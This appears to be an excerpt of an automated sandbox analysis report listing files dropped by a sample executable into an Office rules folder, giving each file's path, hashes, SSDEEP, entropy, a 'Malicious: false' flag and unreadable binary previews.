SHA-256:	E3F5C7D22A7B3335434252249EFBC17395CB4C2E75F1EF3BF0C9DAADD67697FD
SHA-512:	03A722AD82601D95657F80D0894344A97B59E376809762E86AB6A9217396C9AEA42304D254955405D87D084745C38C5B4572E6BDD9C21AC0B075B0BD9719FFA6
Malicious:	false
Preview:	<?xml..._9....$..."E.D......z).D.vF.4.v.U......A.C\|....I..aP.......H..,.~..IfBi..[...5..o..{J-rV......Jo...v..l._.+.>!....yj.2J..F..v~..p....1.b.$C0wh......H/..o~(Y.3.e......T.&O:.#.j.)..&0:..%.......2..S.]\...[..=.......\|.....+.2...wp.'.....r.ea..Q..O..p...LB...I...........)U...lvh.B....(..s..\|<a.1..f.........:.........P'h.Ve...(a.n..S .E..c(......Rb....y.O......a.RG.{Goe......\|...$.x....N\|9....q.P{+.'.......-....6...g...VX.......\.......2.....H.....!P0..ib)..x&...........aY.....$},.4u....!n..y.j.....]....._.x...\|."P?".4..T..{....P.."....w.Hj..&@...W.%.'B.c?WM.?a.....-.!....7.m...(...-.....#..$}....W.......y.TY...;.n..N;+.......v..<7....4X.....:..8."0N......M...3q....T.V..a.......S.h..b...-,...Z..X68@.s.H.......w.+.{=Q..@....yY..q........z...Z..s.*..D.r..t.....CG0...........Y/.7.XkBk.g...N....I.j....9....\|Yp(^.....}..N..#Qq.J......f.....p.H......B....e....!}NY....0......?>;E....0..`..=9...^TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170142v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	871
Entropy (8bit):	7.759816304966223
Encrypted:	false
SSDEEP:	24:xM4BPSimiAUKyd+x3V6EtpXsxK4HATw1bD:K4xSimiA3yd+z6EtpXsxFgyD
MD5:	B84740A95579223B0C8ACDCD43720B4E
SHA1:	9FE22B2B84935E0CD15412AF59EA1A3D70EC7394
SHA-256:	B31D203BA9367D0607F084155C0EE73021E549018A6FC1368E31F74171CAC70A
SHA-512:	CBC14A5AB9844D7704156F876FDD18E86F5A0C06B7C961ECEB9D5BD247EA3F2499539E5641C68072CFDAC9DDE7DC29611A02D3BF684C6553007B6D98229AD754
Malicious:	false
Preview:	<?xmll..u+.N.Kd.u...p.^[..:...g.W..-..P......k+.......X..y.}s[.....B..\..)....e..\....iu...n..8..wa....hF...U}~.\|.Lb..!)..3:P..lS./.".i.oI.._1...N`....O.pe4.......Wv....5...d.v.1%.".".....e...(.!>....O....m...Bf.l..'.Y.^t...@..%.......j..T.....,k...y.p.#.N.h....&.k...T..<Z.J .{..\=.....n...?-...T......"-X.:.9.I...MX.3.(R...K.ZP.e.%+.d.G....ey.e..Zf.9R,k..l.H......&..F@H.......ra...k'y...D...H?+{(...kUV...>Ds...([].k.=l....fHW+%......B..{........FQU.o.<......1.8.!..+f..8Aa-".......V.Z9$.@H.SQ..%GCU4.\..#E..aQ.[.s.O.d..2..5BN.>..A..IO1.h..&o9..}...^...]...1...U..glT.#.......h..$2..?...Nz0.'...u.....Pu.`.......B.V..K.w..5.d....~'~.........i.#.#.......D.-.BN.Q5...=.9&.AP...1=>..pk!...v$..i".j@...y=8..q.3o..t.....j j5z..d.......u.....2.k"....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180003v5.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2217
Entropy (8bit):	7.905946251737586
Encrypted:	false
SSDEEP:	48:wIu0lN9QopsOwXjZjAoBPgFIodKxC7ygf88djoMzcxJ2NLaSyD:w1sN9QoR9oCMx4ygfcPypa
MD5:	48C36A1751A79AFE571098FBE04C1B9B
SHA1:	55899D42B4526B12DD4C815F990F78BD7D891EDF
SHA-256:	084D59B88FFE3E22F4FBE0DB8D9B0D7651448DC58B45A64F8EC33C9305321620
SHA-512:	12D24CB9640A7CD28F91DF00C5F6332AE7DBF7BF2459FD9F493437ACE2C71767FE1155637894DE9EEEBCA46BD0E93669E165E2C0B70D0C29211159E110579F99
Malicious:	false
Preview:	<?xmlM;T..[[.L(..8.....^...........x...Q............."+..r../~~n9..M._K.....b.>.^..D.n.:h9O...7A..{;\|.S.L,..]....+.y<6...P..I.Y.>......S.+t...[.......$..[....>....]W...E.......Y..!k...T%d../..?..T.....P....i...m..'.x.h...b........Ui................Of...NB..,v?..TA..2..Ak1o.@...,..........5.#.p.ih....K.2...T?.L.2.p..(._.A...~......}.L...,.A......s.N......\+S..7.+..x.r'.._nc.s!....Vf.\|t.J.5...ZL...FY..J@.........1.`..S....... ..{k{..".....s6..#...XhY......"..$...{...D)D...si."...f"....TQ...Pd9..N...yj[.8..Z...%.&h....)~U5J.0D........A..DCt.]....<...=.\(.N.-../9xl.u.....q.t.....".5..N..T...$87...O.h.J~.,~..t\5x..#..+.l. .....\......KbP..U.0H.5.x..?..VK.z..(...d.2...3.b..\|s........r/..^...M.....=.h.-...?.-..O.g~..<.\..>...#...v.1.....4.j.eSh......u9...y.......O.O.m._z.B5.Q8~.b.R._.h..\|..zv.s...G.......;...S!.....W...1....A.n1......=F.w....2:.....V..t.a .......4.G%..."xd0....ID3N....Y.>..........e[Z1....h.....g.B.1.e..x.~e...."'k...QS.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180026v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1987
Entropy (8bit):	7.913518437074638
Encrypted:	false
SSDEEP:	48:lltRmjH4+dXrHUV4bV6SsZx9vytH/3IMS6NFIjAUnOZyD:VRmjH42XzxGvy1/Fenwa
MD5:	54E2F2B222672C7AE3A8C9C988C46FEA
SHA1:	57B1D9473A7FC0073A7271D2CA9BFCE820A990B0
SHA-256:	B786B45ED0B9BEED876EB5DBC876984EB9B8BF42F2C92F4C7097D5E7741B1953
SHA-512:	9DBECE4E7488D5F4D7EE1B98993A99516B297C625036945B7BB2B74873D394C6AD1D13C67B56C132601D46185008218DDD355B843DBF7E94F0B77F48A4E5239A
Malicious:	false
Preview:	<?xmlri"4....N."..@..]=j.E.oS.\..k).N..sX....@.d...h.....6..n..5M8..Y(.0..MD.....(zI....Y.m...r.C.....G.......W.I}.=...i}Eo....q..s...I...t.<....L^..@.&pw....L.......O[\.....9Q.8m+c..gU..p......2..O%.A.'.<z.....7`".j...^....u....h._u.7."..vW?...+.^.h9...C.i.[.+.e.....x...p....p.._....K.P.N:.....Ahd0Si.0.xZ...;...2.a1.f.&..#.%.-Q.._....k~T.r.&y..OL0.a....B.$.F&..AE..V.v.u!..s.b=..\|.....5Y@$.f.........<..l..9..<...K......Z.....h..Ry.N.Q.-oo_...f..J..p.:...f...d.._..I.o.&P..V...8.\|sr.K..3..H-o.b.JQ+G(...c..[....Y...>...9. ..W...F.~........a4....ur.gC..].[....r..G..n.(.8d.H..&.........3..!.....c4s.a....`..4O..E.5...W.gY....p......".._...............2#..fd.#..g...gu...K..u.......vr.b..K?0...9/..$.c...a._...`.UN..!.!..=.8.aT..HW..e.Z0#..0OU....b.6..v....R\.yy..l.i?.(W....."=)..YO....&...%...{P.rM...iE.\..m.l...UH...._[.2<.......ULZ...{.@...ns..w.H..3V.......K3..h?. t...^.)".........QH..E.....'l.1.hkUa_....z..\|uW..J..vl.=

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180027v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3851
Entropy (8bit):	7.955510870399154
Encrypted:	false
SSDEEP:	96:eh/PMvMzfcwJUMp+ZT5SI3uFn2jOy3JAYJNmch6M10La:4tb3JUMm5sYO4xmcv1r
MD5:	64BB241197BC39A2FDD811E4AD0ACE2E
SHA1:	7D27042CD326ABB66C481DB548445C76974722E7
SHA-256:	23310B3FA7346B1D428D39313038D0B8A8F0517764411F667C0BAF2ECCB2BBA6
SHA-512:	20F202E74E9451D0F8B96162551249B0B751D6536D44D78789C07007D91AD07630E566B7D09238AD953C044EAF6A49F419E8701FF79AD22D9663F557818724CA
Malicious:	false
Preview:	<?xml......&>.......D.\|..@P...ld.lAC9T..a(.=.~Nk..{.4r...e...1...n......./..".8 #.FP...u.EQ... ..p(.s...A....>.j..\|......n...ZV@!...FF...'.i...=..{F.=5^.).....NR=t..\|s"al..A.\|.c\|..C......[..[[....... .gN...,7.W..>A.!.c.8.....[b.....R...f......CC..49r..v{..}.....b.&?....b.\|`'../...[..?>!..7....h.]N.A....J..2.R....x2....&p^..fl..q1o.X...0&G9...\|S.k..~./.....;N..{zcDD.:.H:..!9........^.......3.n.r6.2..F+...i...0=;.>.. <.~6....J<Z....`...+...I.a.pH.G.L....Tkge..3^.3.H..)/9..zud..%....;K..u]~..TK..A%I.\........W.@.......,h.Q\|8..?.S....g...F>x..I,.dP.0.....#.[.3.............G..>...X..n.".z#...A...i...z.\..p.ZMV.?...Ek.;..>....!.?O..[....Yxw...,...w...2..j..5..:.\..nYn..FVZy./1.\|.]..it..T.,....../....s...[s5..oIM.[..R...B.&....mR.!...(...._T.2...$@..S.&+.S.......t.{~c.tp..........O...:...y...O.........K@r#..\|....-..r.,..5./...g5..y.>...o....KpH..j^%.P..*.?....{......{P....3.8...M.!....V%..o.#h..P.M..a.~..UP..../k.y.m..K.o.u..<XZ....".

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180028v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3223
Entropy (8bit):	7.937713979942671
Encrypted:	false
SSDEEP:	96:4lOTF1h3rxAs/f41kC4cSVQ76BKCGHHyAhCuvTk1TJKxoi4a:Prprxh/fKT4cI+6BKPHyIEl6FH
MD5:	90F6564C057E5D532B6AE81457FE159E
SHA1:	ED4A9E0E8B3AE77E057D07BA92F5B49109EB7ED3
SHA-256:	91FBBE1BF44A51E68A392309883B21A144C417756771923AFD5178D74E32B6F9
SHA-512:	4AA2EFEFA2A50B24C016DF2B1A4ECA15E1A4B7A61DA863BF4F13C23475C55AD9754305DB6A3DD4141D8B7682802EFCB04FA6ADFC76EC74F451DC5028E875361D
Malicious:	false
Preview:	<?xml......;H..).uZmv2..O.i"..e.........z...~.a5...A. .....8....)%\H....F.e..2Mv~Z.i..<y.m>.$.....wA..!.:d5K.wS...8.Sc.}..v.}.L.+..6.d..iuDX...s...Y..QO7y.R..gmA...]..{....\|....I..U.E.(..i,[.sx$7...-.Q....q......yX......:...G^...V\|d.u>\|..9%..@...S..X.c...7....T.<.s..}...D...`,Y?%.....%....z6.H....R#..Ru'J$..F...N..A....v.....IV:..a...:.+ ..{...<.#...z.e^..O..9..Y..Y.@..U...%.Gz.i.......8..8....x.u...?Y....\|.,?.jK.<..=...j...D5.........k......F.....88.)X.C......d..6e. .T.A6>..Ee.{ .f.m..bW..uh...'.n.0....LE.............G6...S...XY...b.\.Ap+,[.Y.e+t.......f.$..@....?D}..K[T.'........3.6..~.?...a[l$.[.b.JO...7...+)2I.-1..jW.rXa.}...(....."...y......B.c...lT?.@!o..X7W...$...J>.)N.@b..aL.k.IV...LR.`JPH........!.3...Q..=.....a...k...pX....:.....!F>I..D.&S..m.~.,......=<....>z.d...~...q...f....B.T......f5.../s......+aG..J......?.p..<<d%?.P._H....~.G'....x......... .2G.D$...>....l...Hk2..)&....d.....-".=..............4..5N........P\.......t...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180029v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1586
Entropy (8bit):	7.867135973786916
Encrypted:	false
SSDEEP:	24:+ONyP0gM7vQYJz8yMQjU75s3vcZi4AZ5yw92wiGTr01ki//eIV9k3FRw1bD:+6yCv/fzYu30ZiHQAYc4iO/MRyD
MD5:	2A7986B71E9BBB4E47720C20D24C9D67
SHA1:	56FF24E011BF184ECDC6AB934F8FA8F1B0F15C3E
SHA-256:	024321C8839FED54EBF6394321DB0FC06D535B8BACB6E32ED557074F456CE6F3
SHA-512:	134B5073DB0BBBC576F8F6AB06B3D4C54ED97EA2B19FF34496A13A311144AA54A617EDCFDA952052384C8C70FDB52DE9DB1F423C268A28DAC3A2ACCA55B3B8F6
Malicious:	false
Preview:	<?xml.+.T....u..fA..DF*.Z.R.S.@o.&70.....GY.O...Y.)....=Y...a........z...x..\|..<k.VB\8E.'..FfW..Y...a@...yZr. ..@ N....t...'..Qs @...4....ay.,.>t..$+.##..<..e...PT..k.....7.J....a.......z.....~z....%/.9...[.....J....wB...\|)`e.ii...v.W...N.......J...O....4M... .~Z~...S~...N..\..e......iV.X..(^.....3..ht_..+.L..#..i8...5.x#o?..g.W=..i...D.Sf..E8..p....<....].....9.'..SD..m.b..t....C...>.f...O.@..l@.!!Z.<.F.@W}...\|8R.......v.A.I?.. ."..I....!.}...+3.D.Z.fZ...f....E....H~.A.O.....@x.%.3.w.B es<G...].O..;.6.W..t.+S.KcbLJ;....z.jh.<......~.'.nI)e..?.2d...A\|.....]..?....J.....V...o`1=...<-..5r.%.),...I....U.4..f......3.g.V.w.'..G3.0...._<._Y.L.}..pN...A.p.....H."/!:.Q...j.C.V]..-W..Y.?]\|.s...."..\|!.,a...e-2"(w.....u.p1Q.......y......r..9nF..05..y.ii..eS7.k..>.....n...[.;3.f.....[.Cv:Z....qf......u.6...ER.0.!.g2.....H.._ .q6.o_.Q.....-...g........Xk8.....&.......V.s.......&..X.?..`.O]....d..p.7T..r..dJ..)w...%.]...Q.)..q.....V..R..Sd...B.\.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180030v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1572
Entropy (8bit):	7.882669015309302
Encrypted:	false
SSDEEP:	48:8UjEJagouu8XsLawv+6D00ifVZXnkUlyjyD:dEtcLb+6DRSZ3kUl0a
MD5:	9F047FDABECD023B083E154E0A80E1D0
SHA1:	763AF7870EC28BD57344F06F3C072A65F1FA9158
SHA-256:	C011E047DD79E90E80EF1948D7E80C6554B480E765E7CCEDB8E5310FC65C083B
SHA-512:	C35B0CF53EA40F37772F3880DEFA0E188D2C12D9CB0B3ADF19A893FEBD448428A39C07AE7C89458FBBCE46E964051181BE8AF4DE4FC913A6027DA6E1EC0D7D61
Malicious:	false
Preview:	<?xml6..s5(%..5=.v...k. ..,..Y....6.#w..d..G../..i...B..,A...3.v...H............L.........\;{v...m.ps..8.6UZ....Q..?\3&.....QqwW....#l~.Gn..ms.iL..9R..P....`.F ^....I...x...P...........V4.gv..>8..G....I..M.rh.te..%...\.9bfX..U.}R..c.24..B?....Q.)`.t.n...C.#.`.V[..2......>....+....._.z..+eB.....HS....N.`.V.....n..`v.. ...b.K.'...C...G`.&.S...>>..!...3(\.j.h.@C.\|.J.....,,.......=.S.m..`^.8.k..N6.K.2'~.N..j@E...>.+8.m.l.T.......5..rj.U....j..).sN..).MW..^....%p.....p1.....(..Z=y.0.A.V3Q(J5.&.....0..:..j..T@.`..-c6...cd....O....0e{..Gk..,8.c.!..,.3J[........Z.."K.Tr.y.=.<..${.....g.WUr\.{......%...n.@..R...'A'<.?C.:...........5...Mj.........!............~.7....T..\|..2]....84]..-..~....T*..Z(_.....yZ01<.G..,vD8.s..Y..e..^.?5'..i(...".OU>2.O.7T...Q9X..F. .4k..eV]..Z.R.w;.J&.,.C5..8@..yj.H.9..T.e..(.....~....;..I...e..I..D.M5...;.v..C.~6%..X6.A.9g.....6..!.b....!.S....z.......G.@wr......K..a=....3...+..f...^[.<s..'...........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180031v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1978
Entropy (8bit):	7.905195479707879
Encrypted:	false
SSDEEP:	48:JU6s1e/yWUJ8tWaGQTtd+hn21ZmLvGylyD:tsPWUJ8tWlQfUIo+Wa
MD5:	6B23F3B3F3F6E4337B6DF5A2CAADA7A6
SHA1:	F54BF997665ADDBCED624D725021DE17D874AB9E
SHA-256:	D3638B8273D329ACD34C34EE40B5BA886F2ECA825F8392A9E8DA33C8399257F3
SHA-512:	6EF3C80873909624835D65BC5EC5D5E6C78F4E815DF9265D460BA2149D935A186DA0A12A8DED7C2456C3520022B6B864A15E164730B814DCD284865392906FAB
Malicious:	false
Preview:	<?xml..,.a......).?.Q..b.9....3...h...ezl.......'V.^.,`!....Y...Ce.)H..\|`.Hr.&.z&..+....M..-!./.<_.......k..&..5.I.K..I..a...o.`3.40}..8............$....o.....R...N..W.2.U...kv$..V_.\Pd...@....;h^.>s.0. .`g}.b....HKi...{.VnGC.G.Fo.8gG..^...=......U..n......."u.p.mz.i..6...c.....r.n..U..........E...Sv..'..4.....&.2..H...:....."n...DP.2...Y..V.k.g.Sl.&..Um.$j......A.R.i^.....\|.pGV? Hs..)x.+..eKQ......f....;....B .kH.\|p.n...#u.R_.d..29.2..b....\|y)F......FP.{......s..V..}gAP.r.....d..zH.....F..C...)...]..Z......B..\|...#..>.S.jO.}.J..u\.;,.O.@...M...z....B..{..K....>...;M..9`j.V......v......... . .HD.+....B./.g[...A.u.....tQ..cog.zW..&..m..8..B......N..k..o.....6...nG.....>h_.Q.oR...\@>1.mD=.jG@>.).:.h2%...K.,...(.......}.[.+..=.8....T...{...1.4#/0.y.7.j....`..5fD..T]k..=.f..l)yy...e;d.+.+.-R...gD.avGC.L.d....~._.`.v....1.......NH..8.....f8.........`.`.{..d.........-....M.[...Q..*6>....CWW.'.d...X.+..7........elm.P.E%P..x+3...e}P..<.!.G.]i..b.9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180032v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	7.864799911055288
Encrypted:	false
SSDEEP:	24:CQB5OqDEHHF6P/nqzhjx3Yd420aDE8/pdXH/rQm7V3+4MJlrP65XherZiYow1bD:ChqD4F2aN3v0E8FHKJlrPmXhgRoyD
MD5:	796433C93CF604B496699BFD6BF6A185
SHA1:	F1489E8DCB09B967CF487CAE1D7F0D06B30AFC71
SHA-256:	44936517833E6873FF81565DD202FF91125B6A72A8F10D372BA67B309BBD1A3D
SHA-512:	7267E8F577AF38ACC85BC36F2AFB0B6B604C10F25964C05DD74600BD00D949D9674A8D721FE86F0B7608AC35F6A9D55B14A77BF38DCE6F531585118CDC1D21E3
Malicious:	false
Preview:	<?xml+.=.....{..-...-...h....V.b..._g.!j.,lx.x....p{...T......&5.,..hgJ.L,+.(....-...MZ.,.......Qw.HO....i...U..}..m';..g...A^...;...-...)..9.O.....T...Y...-\|.i.za.....B..k........o...h..r,Ad.j.....#...9p...%......t.r.K..$Z....#..",....M...~./..O.....#...%.?".@.2......g....p~.P0..tYS.D)r..!k.<.s..(..wL.H.......N]%..zP.W@.(....u.w.n..;h..D....uc..@uh%.H.2.6..3)@...6."..J6..B.y...;;=.k._......,0s.Y...Y&..M4.3......1...`...m...w..J-......S.'...~......e.:.g2.h.,...K\$2w..0.P...[.x9..w./.u4.xD.... .....o.....].'(...e....].q.....z...~.jx./W..d.m,X.=;.+a.....\|.....k.....N.....!>..U .>$.s\.f>{..K.Xo...=o=....x............4...K.8.C..t..\|.x...j...0..pj.. .#\..f......v...,C..p..N.^r.\|...Q.}c.nwh...u.-........wx.....$.}...1vVp.....w.~!.;O...(....F1.-.XF.I/...N....w.t..p.OI.....u.2;.......1.y.~PU..Y.d#;...i.8w...5.,m...Q.\|x..S. ..E..p...yu.T[.'.]Y.C1......pK....F.i.8....Hg...%..I..w..R..\|&U<..}J.}.PlL7.......{..0..x..(....,nG..w7.?2.=\[u...M.<...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180034v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	7.89618990048543
Encrypted:	false
SSDEEP:	48:GTyKpubWCJgXEsa9uM9yuFA4bVWCDWEJ0yD:GH/CJg0dgGnWCDWEJ0a
MD5:	82177790C35DE138BED92EFDBCF92031
SHA1:	1C7C5B56695D043EF068F759C3FA864E722B869C
SHA-256:	5996DF69FF41E3EBA0F32C37C894C3A66C8FE8F449946895A33EF00F10EC9A9D
SHA-512:	DC2590F78A16575B64F8332B8915F39867E3D4B92E039F3C518D24A7629785BF06909814B17280111CEC278A1532822DA66DACFD090C8AE605C7F3F0E3886AD8
Malicious:	false
Preview:	<?xml..Y..i.tyS........Y.7.;....\|...G.nC.44...<..'.Z'Q",./A..<......CM.C%..0.a.......p.5.5..<.....jz.."z.}>....Y)7t..rjU.cc....'.P?...C!;....w.w.h....z.k.M...P..O..j<.c....8...WYg7.7...gYj..s.L...fr.i.....O!).5[A...<...G.$.V.h...z.,......_.V.4...t....J..;..tB"l......G5...`.=D........h..M.o......:]...)H.mc.I...}..2dywY.....D.}F._...JB..r~...m.^..+.9..2....cQ..vm...f.L1..}.....;..<1...Uyb.$=....2..n]..#pA.k.....;............<O".......7.......l...&t[..%eY...P......!~...X...Wl.o........Hb..\O.su...Wz.g...o..V..z..T.e......RU..3~..;..[./K."v.....7u..g.hO./..]Q":lB.\Fbc....-.-[.1=.<kU..#.,...v.\|.....R5 q..r..u%..'...Z..!.lX...Q..K.J...d...5..g.. >.g.......C.SH...@.....P........R.)...t<R.....)6.......W.1w.[.C.W.e~O...(._.OB.C..jDx...l......Q.Ha.&.. >;>...m...b.U...8....A.~...E.W."..).I.Rf.= .....fo.}/.=...'M.\b^.\|..)M...E...w...........c.@*a<......K-.w.........{.........-..LJ.l......"...o..I7q.4f...K.....{.U.W...k.8..h.]A.N..a.kL.8..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180043v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.8775109070809375
Encrypted:	false
SSDEEP:	24:5YygU5wELwXrV0CQuNKTHjkjpsCYyHajgKTnHUxzq7rfIUWYOFc7Xw1bD:R6ELwXrqCjKg4yInLHyzq7r/oAXyD
MD5:	51A4319A30A1037D9E6653CF42DBF6E4
SHA1:	61C4607DE7AFF4ECD335F5CD6DF7E5EB0AA303B9
SHA-256:	226DE1017311FF6E2E33654E18BCC327E6ABBCAACCB7A30841CBE6A5EC097CAC
SHA-512:	BAFD6F6A4CABE25472119BD2FC49D32D64647E05BAA2EFE75E1602970B18E238237062D275E347EF9475B6DB02F866E19351D1DDE5EF93E03E01F2C25426B63F
Malicious:	false
Preview:	<?xml...E.?.W30....Vj4~..wG...3N...uC....)..u....<(....e...,d.7...3.f[...L\|.[)...N......`...).+0.j0Vq.....u......G....H.!d.z..A...>....,o...L.,..;.f\{.-.:..R...y..M..iE..E..B..!H.'f..n...H.j..9...S......F...%Jo..5.qi......k.{.#.W.d........F.!a.i8O.s.b.!OnKck`(..0~..u.V..X.;Y.]f..t.7D.5tcfTE..%g....D....Ig{.1.. 4.>....\|...zr.RL.H.C.?H'E\|...X/.....rdl\....h..e.q^..Eo.j.4.n..g,.O.P....f......v......f.s........<.....Ps......x.../,G39........EE..~F<..p8-....!..t.....v...di5JS..!g.n.T.G..7/.>...u.}..\|1.y...A.$9......4;.COb....5.O.J..{..<.:C............o.d.#.Yw.T. .u...b}.A_...-.T...)..~.oX}(.c.&....X..9..r..e2...DnFn.a...d."&..f.... .ZNe.hy.H....F).Fpx....e..-..;.9.N...&vT....2.@..N..E.q8..~..D.:.&....y[.)..........=..R.p.N.R..a.? ;....Ibc..f!..m:^...........t....z..s}C0xzGa~./....;...."p~)Y.m...".t.D._<R.....t.[.R..C.." .<...b...'.l.....L.....R..Z...*5o..".;1.G...0.v...R9.[.euM.LN..\...S+.cLc....e..C..m>...cB....X...d..e.F...1VC........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180049v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2858
Entropy (8bit):	7.929650485060045
Encrypted:	false
SSDEEP:	48:RYpJ47o3OMazvI1SHxDjv2ForjPwyXv2i16L9jCDWqRl3F0jkhnXk7x4x3ndDz6z:24ugvI1SRDjBPD+i1894dr3F0jkVYx4k
MD5:	7D40DF4FF4120512AAFE655339F9B84C
SHA1:	3397C472ACB6F100434ABB3E4CF09B91203877C9
SHA-256:	CA33EC9AB1D3D1F0DF21B311E66D3B540CB22D932118D860A508CA66F7EE4A23
SHA-512:	71B151C2C80B70256CC994BA888A2997D827FE14F326AF04D441E33312007C931213B3B4B7838F0B29645030BA2AD14199EADA8355A4ADAEBFC9640DAD17DC7F
Malicious:	false
Preview:	<?xml...l...S\|. .._.(...6..<...U..p}r.........._.~t2Uj.B....v..T2z`]..l.R)P.P.l...q.#.:L6.....IO......s$U....%...Y..._..z.....R0{......}.w0.......D....m.P.'.tOQ....:..........wR..d.4:`RE.b.#3. .V1....O........9r.E./9h..~$H....E..p..8.x..Q.j"...rk.......!'..>....P.Es...I...........b.Bv,=..SE;.B.;....j6$.".[s...[{R.RrO521S...W=..W..)T+......"{.!S....}.[......IV6..[.B\|jU.'-.^.te..B%...?@H.?..&.5...L>;JE....Zd[.91...]..b.u.?.g...znhv@..7..../......%6d..=..{N.n^Y..~.,..../......k3z.ds..w...y...&S.........._{;t.7..h.@/..2....w.cNy.!V.bp.s.!Y.5.!l:..o...jc......Qyr M9.l..tgt........)..sh\|......my......W`...2....H..3..l..m........(<$61....E.#...........99p$..a.&...].)..?.q.L.a......6.\Z....1.p\..p.sr'G...\|....9<.F._.8^.B..+..k.{=....... ..m..a.~.PD.f..B'g ...!.....E....8.1-.}.E..1.V...T.5......I.~\..Z... ..Fs.9..w.O..J.a......W`)..&<.....M..N..8T0o...j.a...}....p....]....H....j:B..X.?u.>..4jO..Z.<s..x.+...4C&&...Fw.W:....P.0Dd.i".e......E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180051v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1230
Entropy (8bit):	7.840523548809501
Encrypted:	false
SSDEEP:	24:bSC5+ekkejXMSA2arYBhpn/4Tw1t1lDB4WSFEYWKrwoL2Sbf6kk4g4brCQYqT+Vt:mCb7S+ravSmtPB5hxoX7ps43CQVTEyXa
MD5:	36897991A552345A16857A1C303E4248
SHA1:	7450D705B0389B958A6BC9A49AE13F60576F15EB
SHA-256:	19D3DFE754617D7D8DD8CF2583F23B4C62AFD0A32E0A2E32E9D6B4EC12BB529B
SHA-512:	0A3A434386DC119DB5962C4EAA22DD6352A6C3EDD68B3FC8251B10B9D5D3719EADE85A9C3CA3C8EBAEEB239DD4D4FDB1D239D0C640ABD68A9EEC97EB32A8F664
Malicious:	false
Preview:	<?xml..........c..z.ak8T5....D...n=.aZ.;..R.....o..;.T..d.S....eu-.CQs...V..84.. .,.'1. .k.e\|.e.. ....Y7..N.#7`@a...U.^...&.0............Z..84A3..fW..G.o..n+V.9Z&.........o..h.B..&..{;k......=.=<.5.@....YBc..l..p6aM8.L!.T.8.q.SuE/T<.._..6.......u.IMU..i..p........`S..T.`.."..>Z.!....Y.-J.......fTk....W..+....9e./....o..uE....O1.Y........!V..?.s..[.x.'.ZD..n:...C....6Mk.Z..Yp.on.......JN.e(\.l!.tr..3t..r..S....1..6.%..>~...d4..V...~..h...&...p..YT..M&+O.a.N...%-.Q.Bq..J......jP......W..D..nQ..:......}d...Z.9.9..W?-.+..1~jv..^...u..z1jB=...lf.d.D....a._.%{y(.B..&...^....I..5./.2...\|.9...L..E~4v.-6V...\..?...;....y.k@Sq....\.........d.b....+.5....l<..%.T.mt......... s#..T.......$CyAb.i."R.y.!.....`"...w.4<..!j,/.Kw\|...IF..%Y.w/.2........h............4IB..U..H.......81.2[.....QSQil.H".Y^...RU.y-.;...%..F7..&.z@..5F.s6.\|..s.........%.>..7X.=.K.!..Dz.m(Rf..j.....Q.7YPI...1..pKr.k...D......D9..I...T]...<..?.A\|....w.T...k..i.T..s..\....fl

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180052v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2834
Entropy (8bit):	7.935739918620743
Encrypted:	false
SSDEEP:	48:cksN1MrIQlj393J2fHOsHaMbazuVALeinIZgCXEPc1OUjS8u9NPZ7yD:czgIETBJ22sHFbgu5GEx+c1Gj7a
MD5:	CBE5065A57EAADA3BC88C56654558FF7
SHA1:	A02AA0DE9CA77BDC454C775453BA4609B023953D
SHA-256:	1F7ED8D529B4CC4AE7D7BE64DDA7AE2C907C4A9F52EF6F40D7407FD1F5CBB338
SHA-512:	00BC295957329AD01EE3706A142E9A82A96114D17AC04ABA253F9192F210FE0B1FCEBB3737C01A0047DE1985EB864E71EC68B4C5E9C7E5F5CBE5287668E96135
Malicious:	false
